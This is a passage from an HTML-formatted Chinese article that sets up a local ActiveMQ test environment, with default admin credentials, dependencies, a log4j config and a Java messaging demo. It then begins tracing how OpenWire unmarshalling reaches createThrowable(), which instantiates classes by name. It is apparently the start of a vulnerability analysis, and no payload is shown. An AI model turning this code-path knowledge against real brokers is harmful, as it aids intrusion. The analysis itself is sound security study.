bin 目录，</span><span style="font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">activemq start</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">启动服务；</span><span style="mso-bookmark:images_1698375433905_png;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="396" data-backw="578" data-imgfileid="100004464" data-ratio="0.6852035749751738" width="601.7100219726562" data-type="png" data-w="1007" height="412.2900085449219" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=fbc72459&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PxGhERDAdXuR3IxFTa7AQxDdpFcMibI5zgAiaFU0nL88tnYyRbAXGPo7Nun3PEiaAiaRDa3ADT2icIfwQ%2F640%3Fwx_fmt%3Dpng"/></span></span><span style="mso-bookmark:images_1698375433905_png;"></span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"></span></p><p style="mso-style-name: &#39;Para 00&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">访问</span><span style="font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);"><a href="http://127.0.0.1:8161/" target="_blank">http://127.0.0.1:8161/</a></span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">，默认用户名/密码为</span><span style="font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">admin/admin</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">，进入管理页面，搭建成功。<br/>

 </span><span style="mso-bookmark:images_1698375535989_png;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="295" data-backw="578" data-imgfileid="100004466" data-ratio="0.5100671140939598" width="601.7100219726562" data-type="png" data-w="1043" height="306.9100341796875" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=2aa306dd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PxGhERDAdXuR3IxFTa7AQx9Bej5HHk0bEVVcIx9WSZXicUttNgfKsS77aeJYWzVsicuAKcxJg3eseQ%2F640%3Fwx_fmt%3Dpng"/></span></span><span style="font-size: 13.5pt;text-indent: 0pt;letter-spacing: 0.034em;">Act</span><span style="font-size: 13.5pt;text-indent: 0pt;letter-spacing: 0.034em;">iveMQ 默认情况下使用了 OpenWire 协议，而 OpenWire 协议是基于二进制的，面向网络的协议，通常通过 TCP 进行通信，默认监听 61616 端口。</span></p><p style="mso-style-name: &#39;Para 00&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">关于管理页面的介绍可参考：<br/>

 </span><span style="mso-style-name: &#39;07 Text&#39;;mso-style-parent: &#39;&#39;;color: #0000FF;text-decoration: underline;text-underline: single;font-size: 13.5pt;font-family: Helvetica Neue;mso-ascii-font-family: Helvetica Neue;mso-fareast-font-family: Helvetica Neue;font-variant: normal;text-transform: none;"><a href="https://blog.csdn.net/csdndys/article/details/130505328" target="_blank">https://blog.csdn.net/csdndys/article/details/130505328</a></span><span style="font-size: 19.5pt;text-indent: 0pt;letter-spacing: 0.034em;"></span></p><p style="mso-style-name: &#39;Para 07&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: 23.95pt;mso-pagination: widow-orphan;font-size: 19.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;"><strong style="letter-spacing: 0.578px;text-wrap: wrap;color: rgb(85, 168, 113);font-family: &#34;Helvetica Neue&#34;;font-size: 26px;text-align: left;">2-2. 创建Demo</strong><o:page></o:page></p><p style="mso-style-name: &#39;Para 00&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">创建一个 Spring Boot 项目，选择 activemq 依赖；         <br/>

 </span><span style="mso-bookmark:images_1698392643890_png;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="374" data-backw="578" data-imgfileid="100004463" data-ratio="0.6468885672937771" width="601.7100219726562" data-type="png" data-w="691" height="389.239990234375" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=73abdf50&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PxGhERDAdXuR3IxFTa7AQxnxOrRmRp9F3R6vdB57pDIwUlxBXaLmNkGh6TnpvMWWs0NBu9Zcz8eQ%2F640%3Fwx_fmt%3Dpng"/></span></span><span style="mso-bookmark:images_1698392643890_png;"></span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"></span></p><p style="mso-style-name: &#39;Para 00&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">或者手动添加，不过会有 log4j 冲突，比较麻烦。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="apache"><code><span class="code-snippet_outer"><span class="code-snippet__section">&lt;dependency&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__section">&lt;groupId&gt;</span><span class="code-snippet__attribute">org</span>.apache.activemq&lt;/groupId&gt;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__section">&lt;artifactId&gt;</span><span class="code-snippet__attribute">activemq</span>-<span class="code-snippet__literal">all</span>&lt;/artifactId&gt;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__section">&lt;version&gt;</span><span class="code-snippet__attribute">5</span>.17.5&lt;/version&gt;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">&lt;/dependency&gt;</span></span></code></pre></section><p style="mso-style-name: &#39;Para 00&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">或者新建空项目，添加如下依赖，比较靠谱。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="apache"><code><span class="code-snippet_outer"><span class="code-snippet__section">&lt;dependency&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__section">&lt;groupId&gt;</span><span class="code-snippet__attribute">org</span>.apache.activemq&lt;/groupId&gt;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__section">&lt;artifactId&gt;</span><span class="code-snippet__attribute">activemq</span>-spring&lt;/artifactId&gt;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__section">&lt;version&gt;</span><span class="code-snippet__attribute">5</span>.18.2&lt;/version&gt;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">&lt;/dependency&gt;</span></span></code></pre></section><p style="mso-style-name: &#39;Para 00&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">当前测试环境版本：</span></p><ul class="list-paddingleft-1" style="list-style-type: disc;"><li><p style="mso-style-name: &#39;Para 05&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: left;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;mso-list: l0 level1 lfo1;margin-left: 18.0pt;text-indent: -18.0pt;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">Spring Boot 版本：2.7.5</span></p></li><li><p style="mso-style-name: &#39;Para 05&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: left;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;mso-list: l0 level1 lfo1;margin-left: 18.0pt;text-indent: -18.0pt;"><span style="font-family:Symbol;mso-ascii-font-family:Symbol;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><span style="font:7.0pt Times New Roman;"></span></span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">对应ActiveMQ版本：5.16.5</span></p></li><li><p style="mso-style-name: &#39;Para 05&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: left;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;mso-list: l0 level1 lfo1;margin-left: 18.0pt;text-indent: -18.0pt;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">JDK 11</span></p></li></ul><p style="mso-style-name: &#39;Para 00&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">resources 目录下创建配置文件</span><span style="font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">log4j.xml</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">：</span>    </p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">&lt;?xml version=<span class="code-snippet__string">&#34;1.0&#34;</span> encoding=<span class="code-snippet__string">&#34;UTF-8&#34;</span>?&gt;</span></code><code><span class="code-snippet_outer">&lt;!DOCTYPE log4j:configuration SYSTEM <span class="code-snippet__string">&#34;log4j.dtd&#34;</span>&gt;</span></code><code><span class="code-snippet_outer">&lt;log4j:configuration xmlns:log4j=<span class="code-snippet__string">&#34;<a href="http://jakarta.apache.org/log4j/" target="_blank">http://jakarta.apache.org/log4j/</a>&#34;</span>&gt;</span></code><code><span class="code-snippet_outer">    &lt;!-- Define the console appender --&gt;</span></code><code><span class="code-snippet_outer">    &lt;appender name=<span class="code-snippet__string">&#34;console&#34;</span> <span class="code-snippet__keyword">class</span>=<span class="code-snippet__string">&#34;org.apache.log4j.ConsoleAppender&#34;</span>&gt;</span></code><code><span class="code-snippet_outer">        &lt;param name=<span class="code-snippet__string">&#34;Target&#34;</span> <span class="code-snippet__keyword">value</span>=<span class="code-snippet__string">&#34;System.out&#34;</span> /&gt;</span></code><code><span class="code-snippet_outer">        &lt;layout <span class="code-snippet__keyword">class</span>=<span class="code-snippet__string">&#34;org.apache.log4j.PatternLayout&#34;</span>&gt;</span></code><code><span class="code-snippet_outer">            &lt;param name=<span class="code-snippet__string">&#34;ConversionPattern&#34;</span> <span class="code-snippet__keyword">value</span>=<span class="code-snippet__string">&#34;%-5p %d{yyyy-MM-dd HH:mm:ss} [%t] %c{1} - %m%n&#34;</span> /&gt;</span></code><code><span class="code-snippet_outer">        &lt;/layout&gt;</span></code><code><span class="code-snippet_outer">    &lt;/appender&gt;</span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">    &lt;!-- Define the root logger with appender --&gt;</span></code><code><span class="code-snippet_outer">    &lt;root&gt;</span></code><code><span class="code-snippet_outer">        &lt;priority <span class="code-snippet__keyword">value</span>=<span class="code-snippet__string">&#34;debug&#34;</span> /&gt;</span></code><code><span class="code-snippet_outer">        &lt;appender-<span class="code-snippet__keyword">ref</span> <span class="code-snippet__keyword">ref</span>=<span class="code-snippet__string">&#34;console&#34;</span> /&gt;</span></code><code><span class="code-snippet_outer">    &lt;/root&gt;</span></code><code><span class="code-snippet_outer">&lt;/log4j:configuration&gt;</span></code></pre></section><p style="mso-style-name: &#39;Para 00&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">写一个与 ActiveMQ 服务器发送消息的 Demo ；</span><span style="color: rgb(68, 68, 68);font-family: monospace;background-color: rgb(240, 240, 240);font-size: 12pt;text-indent: 0pt;letter-spacing: 0.034em;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> org.apache.activemq.ActiveMQConnectionFactory;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javax.jms.*;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">class</span> ActiveMQDemo {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__built_in">void</span> main(<span class="code-snippet__built_in">String</span>[] args) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//连接 ActiveMQ 服务器</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__built_in">String</span> url = <span class="code-snippet__string">&#34;tcp://127.0.0.1:61616&#34;</span>;</span></code><code><span class="code-snippet_outer">        ConnectionFactory connectionFactory = <span class="code-snippet__keyword">new</span> ActiveMQConnectionFactory(url);</span></code><code><span class="code-snippet_outer">        Connection connection =  <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            connection = connectionFactory.createConnection();</span></code><code><span class="code-snippet_outer">            connection.start();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">//创建会话</span></span></code><code><span class="code-snippet_outer">            Session session = connection.createSession(<span class="code-snippet__literal">false</span>, Session.AUTO_ACKNOWLEDGE);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">//创建队列</span></span></code><code><span class="code-snippet_outer">            Destination destination = session.createQueue(<span class="code-snippet__string">&#34;myQueue&#34;</span>);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">//创建消息生产者</span></span></code><code><span class="code-snippet_outer">            MessageProducer producer = session.createProducer(destination);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">//创建消息</span></span></code><code><span class="code-snippet_outer">            ObjectMessage objectMessage = session.createObjectMessage(<span class="code-snippet__string">&#34;123&#34;</span>);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//            TextMessage textMessage = session.createTextMessage(&#34;123&#34;);</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">//发送消息</span></span></code><code><span class="code-snippet_outer">            producer.send(objectMessage);</span></code><code><span class="code-snippet_outer">            System.out.println(<span class="code-snippet__string">&#34;Message Sent: &#34;</span> + objectMessage.getObject());</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">//创建消息消费者</span></span></code><code><span class="code-snippet_outer">            MessageConsumer consumer = session.createConsumer(destination);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">//接收消息</span></span></code><code><span class="code-snippet_outer">            Message receviedMessage = consumer.receive();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (receviedMessage <span class="code-snippet__keyword">instanceof</span> ObjectMessage) {</span></code><code><span class="code-snippet_outer">                ObjectMessage message = (ObjectMessage) receviedMessage;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//                TextMessage message = (TextMessage) receviedMessage;</span></span></code><code><span class="code-snippet_outer">                System.out.println(<span class="code-snippet__string">&#34;Recevied message: &#34;</span> + message.getObject());</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">          </span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">//关闭会话</span></span></code><code><span class="code-snippet_outer">            session.close();</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (JMSException e) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> RuntimeException(e);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">finally</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (connection != <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                    connection.close();</span></code><code><span class="code-snippet_outer">                } <span class="code-snippet__keyword">catch</span> (JMSException e) {</span></code><code><span class="code-snippet_outer">                    e.printStackTrace();</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="mso-style-name: &#39;Para 00&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">运行，控制台可以看到信息输出，管理页面也有消息记录。         <br/>

 </span><span style="mso-bookmark:images_1698393543018_png;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="264" data-backw="578" data-imgfileid="100004465" data-ratio="0.4564814814814815" width="601.7100219726562" data-type="png" data-w="1080" height="274.66998291015625" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=d32e3609&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PxGhERDAdXuR3IxFTa7AQxUtrtlyiccdDYnFHDA23VZFbrVT3ibCe4I7lpic0Qe0IDTDmDKOq1wxK4A%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-top: 18.372pt;margin-bottom: 18.372pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: 28.8pt;font-size: 24pt;font-family: &#34;Helvetica Neue&#34;;color: rgb(47, 47, 47);font-weight: normal;background: transparent;break-before: auto;"><span style="text-indent: 0pt;color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);text-decoration: underline;">3. 流程分析</span></p><p style="mso-style-name: &#39;Para 00&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">在</span><span style="font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">BaseDataStreamMarshaller.createThrowable()</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">中，根据传入的的类名和消息，实例化并返回了一个 Throwable 类型的对象；<br/>

 搜索发现，在</span><span style="font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">tightUnmarsalThrowable()</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">和</span><span style="font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">looseUnmarsalThrowable()</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">中都调用</span><span style="font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">createThrowable()</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">方法；<br/>

 </span><span style="mso-bookmark:images_1698628609490_png;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"><img class="rich_pages wxw-img" data-backh="176" data-backw="578" data-imgfileid="100004467" data-ratio="0.30462962962962964" width="601.7100219726562" data-type="png" data-w="1080" height="183.5" style="width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=7204250d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57PxGhERDAdXuR3IxFTa7AQxx8N27nTZlkWuagpjpsYktUNMzNpowfcINuTj9DyCkyZZ5F0s5YpFQA%2F640%3Fwx_fmt%3Dpng"/></span></span><span style="mso-bookmark:images_1698628609490_png;"></span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;mso-fareast-font-family:Helvetica Neue;font-variant:normal;text-transform:none;"></span></p><p style="mso-style-name: &#39;Para 00&#39;;margin-top: 18.372pt;mso-para-margin-top: 1.0gd;margin-bottom: 18.372pt;mso-para-margin-bottom: 1.0gd;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;mso-line-height-alt: 12.0pt;mso-pagination: widow-orphan;font-size: 13.5pt;font-family: Helvetica Neue;mso-fareast-font-family: &#39;Helvetica Neue&#39;;color: #2F2F2F;mso-fareast-language: EN-US;font-weight: normal;mso-bidi-font-weight: normal;background: transparent;"><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">再搜索，找到 </span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">ExceptionResponseMarshaller </span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">、</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">ConnectionErrorMarshaller </span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">、</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">MessageAckMarshaller 中</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">的</span><span style="font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">tightUnmarshal()</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">和</span><span style="font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">looseUnmarshal()</span><span style="font-family:Helvetica Neue;mso-ascii-font-family:Helvetica Neue;font-variant:normal;text-transform:none;">方法分别调用了</span><span style="font-variant: normal;text-transform: none;color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;text-align: left;text-wrap: wrap;background-color: rgb(232, 236, 233);">tightUnmarsalThrowable()</span><span 